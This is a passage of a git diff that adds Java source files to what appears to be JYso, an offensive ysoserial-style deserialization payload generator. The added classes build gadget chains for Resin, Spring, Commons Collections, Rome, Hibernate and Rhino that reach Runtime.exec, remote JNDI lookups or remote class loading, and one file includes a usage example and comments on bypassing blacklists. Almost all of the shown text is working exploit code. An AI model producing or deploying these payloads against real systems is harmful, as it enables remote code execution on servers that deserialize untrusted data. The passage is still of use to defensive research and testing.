"FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; + BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); + + SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); + Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); + Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); + + return serializableRenderedImage; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Resin.java b/src/main/java/com/qi4l/JYso/gadgets/Resin.java new file mode 100644 index 0000000..82fb77c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Resin.java @@ -0,0 +1,76 @@ +package com.qi4l.JYso.gadgets; + +import com.caucho.naming.QName; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xpath.internal.objects.XString; + +import javax.naming.CannotProceedException; +import javax.naming.Reference; +import javax.naming.directory.DirContext; +import java.lang.reflect.Constructor; +import java.net.URI; +import java.util.Hashtable; + +public class Resin implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + //需要处理command + return makeResinQName(command); + } + public Object makeResinQName(String command) throws Exception { + Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ + Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + ccCons.setAccessible(true); + CannotProceedException cpe = new CannotProceedException(); + Reflections.setFieldValue(cpe, "cause", null); + Reflections.setFieldValue(cpe, "stackTrace", null); + //考虑换成其他的 + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); + + Reflections.setFieldValue(cpe, "suppressedExceptions", null); + DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); + QName qName = new QName(ctx, "foo", "bar"); + return makeToStringTrigger(qName); + } + + public static Object makeToStringTrigger ( Object o ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(o, xString); + } + + public static String unhash ( int hash ) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if ( target < 0 ) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if ( target == Integer.MIN_VALUE ) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + private static void unhash0 ( StringBuilder partial, int target ) { + int div = target / 31; + int rem = target % 31; + + if ( div <= Character.MAX_VALUE ) { + if ( div != 0 ) + partial.append((char) div); + partial.append((char) rem); + } + else { + unhash0(partial, div); + partial.append((char) rem); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java new file mode 100644 index 0000000..2f97f85 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java @@ -0,0 +1,16 @@ +package com.qi4l.JYso.gadgets; + +import javax.script.ScriptEngineFactory; + +public class ServiceLoader implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {command}; + + return makeServiceLoader(uf, args); + } + public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception { + return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class)); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java new file mode 100644 index 0000000..3c44f3f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -0,0 +1,211 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; +import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; +import com.sun.syndication.feed.impl.ObjectBean; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; +import org.springframework.beans.factory.ObjectFactory; + +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Type; +import java.math.BigInteger; +import java.util.*; + +import static java.lang.Class.forName; + +/** + * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) + * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; + * yso 中大概包含如下几种可用的常见调用链: + * 1. InvokerTransformer 调用任意方法(依赖 CC) + * 2. BeanComparator 调用 getter 方法(依赖 CB) + * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) + * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) + * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) + * 6. MemberBox 反射调用任意方法(依赖 rhino) + *

+ * 利用方式: + * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:10000' + * + * @author QI4L + */ +public class SignedObject implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String[] commands = command.split(":"); + + if (commands.length < 3) { + throw new IllegalArgumentException("Command format is: ::::"); + } + + String type1 = commands[0]; + Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); + + switch (type1.toLowerCase()) { + case "cb": + return getSignedObjectWithCB(object); + case "hibernate": + return getSignedObjectWithHibernate(object); + case "rome": + return getSignedObjectWithRome(object); + case "rhino": + return getSignedObjectWithRhino(object); + case "spring": + return getSignedObjectWithSpring(object); + case "cc4": + return getSignedObjectWithCC4(object); + case "cc": + default: + return getSignedObjectWithCCNoArray(object); + } + } + + + public Object getOriginal(String[] args) throws Exception { + final String payloadType = args[0]; + String command = args[1]; + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); + + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(realCmd); + + if (args.length >= 3) { + final String type = args[2]; + final String length = args[3]; + object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); + } + + return object; + } + + + // CC 无数组二次反序列化 + public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + Map old = new HashMap(); + Transformer invoke = new InvokerTransformer("toString", null, null); + Map newMap = LazyMap.decorate(old, invoke); + TiedMapEntry entry = new TiedMapEntry(newMap, obj); + Map ht = new HashMap(); + ht.put(entry, obj); + newMap.remove(obj); + + Reflections.setFieldValue(invoke, "iMethodName", "getObject"); + return ht; + } + + // CC4 无 TiedMapEntry 二次反序列化 + public Object getSignedObjectWithCC4(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(obj); + Reflections.setFieldValue(transformer, "iMethodName", "getObject"); + return tree; + } + + + // CB 二次反序列化 + public Object getSignedObjectWithCB(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "object"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } + + // Hibernate 二次反序列化 + public Object getSignedObjectWithHibernate(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); + return Hibernate1.makeCaller(obj, getters); + } + + + // Rome 二次反序列化 + public Object getSignedObjectWithRome(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + // Spring-Core 二次反序列化 + public Object getSignedObjectWithSpring(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class); + Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); + Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "getObject"); + return mitp; + } + + // Rhino 二次反序列化 + public Object getSignedObjectWithRhino(Object serObj) throws Exception { + Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "object", 0, 2); + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaArray, "javaObject", obj); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring1.java b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java new file mode 100644 index 0000000..ddf15ca --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring1.java @@ -0,0 +1,74 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.springframework.beans.factory.ObjectFactory; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static java.lang.Class.forName; + +/** + * Gadget chain: + *

+ * ObjectInputStream.readObject() + * SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.findMethod() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.invokeMethod() + * Method.invoke() + * Templates(Proxy).newTransformer() + * AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + * ObjectFactory(Proxy).getObject() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * Method.invoke() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * TemplatesImpl.TransletClassLoader.defineClass() + * Pwner*(Javassist-generated). + * Runtime.exec() + */ +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-beans:4.1.4.RELEASE"}) +@Authors({Authors.FROHOFF}) +public class Spring1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring2.java b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java new file mode 100644 index 0000000..300fc29 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring2.java @@ -0,0 +1,62 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static java.lang.Class.forName; + +/** + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + *

+ * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies({ + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +}) +@Authors({Authors.MBECHLER}) +public class Spring2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Spring3.java b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java new file mode 100644 index 0000000..dce2e25 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Spring3.java @@ -0,0 +1,22 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import org.springframework.transaction.jta.JtaTransactionManager; + +@Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) +public class Spring3 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } else { + throw new Exception(String.format("Command [%s] not supported", command)); + } + + JtaTransactionManager manager = new JtaTransactionManager(); + manager.setUserTransactionName(jndiURL); + return manager; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java new file mode 100644 index 0000000..499c07c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + return makeBeanFactoryPointcutAdvisor(command); + } + public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception { + String jndiUrl = args; + UtilFactory uf = new UtilFactory(); + BeanFactory bf = makeJNDITrigger(jndiUrl); + return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf); + } + + public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception { + DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); + pcadv.setBeanFactory(bf); + pcadv.setAdviceBeanName(name); + return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); + } + public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java new file mode 100644 index 0000000..f9d4cf5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java @@ -0,0 +1,58 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.aspectj.AbstractAspectJAdvice; +import org.springframework.aop.aspectj.AspectInstanceFactory; +import org.springframework.aop.aspectj.AspectJAroundAdvice; +import org.springframework.aop.aspectj.AspectJPointcutAdvisor; +import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.lang.reflect.InvocationTargetException; + +public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + return makePartiallyComparableAdvisorHolder(command); + } + public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception { + String jndiUrl = args; + UtilFactory uf = new UtilFactory(); + BeanFactory bf = makeJNDITrigger(jndiUrl); + return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf); + } + public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } + + public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, + NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); + Reflections.setFieldValue(aif, "beanFactory", bf); + Reflections.setFieldValue(aif, "name", name); + AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); + Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); + + // make readObject happy if it is called + Reflections.setFieldValue(advice, "declaringClass", Object.class); + Reflections.setFieldValue(advice, "methodName", "toString"); + Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); + + AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); + Reflections.setFieldValue(advisor, "advice", advice); + + Class pcahCl = Class + .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); + Object pcah = Reflections.createWithoutConstructor(pcahCl); + Reflections.setFieldValue(pcah, "advisor", advisor); + return uf.makeToStringTriggerUnstable(pcah); + } + + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java b/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java new file mode 100644 index 0000000..dce523c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java @@ -0,0 +1,23 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.beans.factory.config.PropertyPathFactoryBean; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +public class SpringPropertyPathFactory implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + String jndiUrl = command; + BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl); + + PropertyPathFactoryBean ppf = new PropertyPathFactoryBean(); + ppf.setTargetBeanName(jndiUrl); + ppf.setPropertyPath("foo"); + + Reflections.setFieldValue(ppf, "beanFactory", bf); + return ppf; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java new file mode 100644 index 0000000..9f06f82 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java @@ -0,0 +1,107 @@ +package com.qi4l.JYso.gadgets; + + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.logging.impl.NoOpLog; +import org.springframework.aop.aspectj.AbstractAspectJAdvice; +import org.springframework.aop.aspectj.AspectInstanceFactory; +import org.springframework.aop.aspectj.AspectJAroundAdvice; +import org.springframework.aop.aspectj.AspectJPointcutAdvisor; +import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; +import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; +import org.springframework.beans.factory.BeanFactory; +import org.springframework.beans.factory.support.DefaultListableBeanFactory; +import org.springframework.beans.factory.support.RootBeanDefinition; +import org.springframework.jndi.support.SimpleJndiBeanFactory; + +import java.lang.reflect.InvocationTargetException; +import java.util.HashSet; +import java.util.Map; + + +/** + * @author mbechler + * + */ +public final class SpringUtil { + + /** + * + */ + private SpringUtil() {} + + + public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { + SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); + bf.setShareableResources(jndiUrl); + Reflections.setFieldValue(bf, "logger", new NoOpLog()); + Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); + return bf; + } + + + public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception { + DefaultListableBeanFactory bf = new DefaultListableBeanFactory(); + RootBeanDefinition caller = new RootBeanDefinition(); + + caller.setFactoryBeanName("obj"); + caller.setFactoryMethodName(method); + Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>()); + bf.registerBeanDefinition("caller", caller); + + Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null); + Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>()); + Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog()); + Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>()); + + @SuppressWarnings ( "unchecked" ) + Map objs = (Map) Reflections.getFieldValue(bf, "singletonObjects"); + objs.put("obj", o); + return bf; + } + + + public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { + DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); + pcadv.setBeanFactory(bf); + pcadv.setAdviceBeanName(name); + return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); + } + + + /** + * @param jndiUrl + * @param bf + * @return + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws Exception + */ + public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException, + NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); + Reflections.setFieldValue(aif, "beanFactory", bf); + Reflections.setFieldValue(aif, "name", name); + AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); + Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); + + // make readObject happy if it is called + Reflections.setFieldValue(advice, "declaringClass", Object.class); + Reflections.setFieldValue(advice, "methodName", "toString"); + Reflections.setFieldValue(advice, "parameterTypes", new Class[0]); + + AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); + Reflections.setFieldValue(advisor, "advice", advice); + + Class pcahCl = Class + .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); + Object pcah = Reflections.createWithoutConstructor(pcahCl); + Reflections.setFieldValue(pcah, "advisor", advisor); + return uf.makeToStringTriggerUnstable(pcah); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java new file mode 100644 index 0000000..e71d6fb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java @@ -0,0 +1,110 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.ClassFiles; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import 